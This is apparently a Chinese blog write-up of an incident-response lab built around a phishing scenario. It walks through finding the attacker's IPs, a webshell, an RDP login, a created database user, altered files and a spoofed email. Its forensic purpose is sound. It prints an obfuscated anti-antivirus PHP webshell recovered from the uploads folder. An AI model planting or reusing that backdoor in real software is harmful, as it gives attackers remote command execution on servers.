免责声明由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失均由使用者本人负责作者不为此承担任何责任一旦造成后果请自行承担如有侵权烦请告知我们会立即删除并致歉靶机下载位置https://pan.baidu.com/s/1Y-cb4I7dW2a8NU7Tbx3yUA?pwd39ja邮件钓鱼题目1. 攻击者的两台服务器地址2. 攻击者植入的 WebShell 密码3. 攻击者登录成功的时间4. 攻击者修改的文件5. 攻击者创建的用户6. 攻击者最后发送的邮件7. 攻击者是谁由题知钓鱼邮件既然跟邮件相关那就浅浅八卦一下了解到应该是H1ck和Jason一组做了个学生管理系统前景一片光明但是wangpeng跳出来要找H1ck买这个系统H1ck不同意后来就是Jason告知系统源码泄露了后来就看到和Jason闹掰了。这时候聪明的小伙伴可能就想到Jason被收买了给H1ck发了钓鱼邮件诱导他点击链接获得系统账号密码。本文内容为原创图片水印也是本人微信公众号并非盗图转载1.攻击者 IP 地址在邮件中得知jason 发了一个钓鱼链接获得第一个 IP 地址http://101.201.30.142通过随便输入账号密码看响应包得到第二个 IP 地址图片走丢了靶机也删了这里大家要尝试的话直接F12看网络一栏有一个collect字段这里看到服务器收集信息第二个IP地址即该服务器地址2.Webshell 密码通过全局搜索 uploads 获得文件然后将 PHP 文件交给 D 盾查看是否有后门找到后门很明显是一个免杀马?php $_ ~( \x9E\x8D\x8D . \x9E\x86\xA0 . \x92\x9E\x8F ); $__ ~( \x8C\x86\x8C . \x8B\x9A\x92 ); $___ ~( \xA0 . \xAF\xB0 . \xAC\xAB ); $____ ~( \x9C . \x92\x9B ); $_($__, [${$___}[$____]]); ?解析这段代码得到 webshell 明文 cmd3.攻击者登录时间钓鱼邮件发送时间是 17.15所以攻击者登陆时间一定在这之后排查日志找到登录时间因为攻击者与受害者同属一个内网网段可以确认将日志丢给 AI 分析是 RDP 登录远程桌面4.攻击者创建的用户因为在找隐藏用户时没有找到所以是服务类型用户又因为该网站有数据库对比初始文件用户和当前数据库用户多的就是新创建的用户在小皮面板找到 HeiDi SQL 工具点击管理填写 root 的密码 root,打开针对学生管理系统找到两个用户根据初始数据库文件判别出 root 是攻击者创建用户5.攻击者修改的文件这是找攻击者创建用户查看初始数据库文件看到的根据剧情走向判断应该是Jason的诬陷。我感觉有BUG上文得知登录时间是19.30左右修改的文件时间是19.20难绷6.最后发送的邮件在 H1ck 的邮箱里只有一封邮件是自己发给自己的但是署名是 Jason所以是 Jason 登录后自己写了封邮件想发给 Jason但是发给了 H1ck我也看了星盟曹老师的WP写的是Jason登录时本地没有部署自己的邮箱服务器所以H1ck账号发邮件发给了自己7.攻击者一眼Jason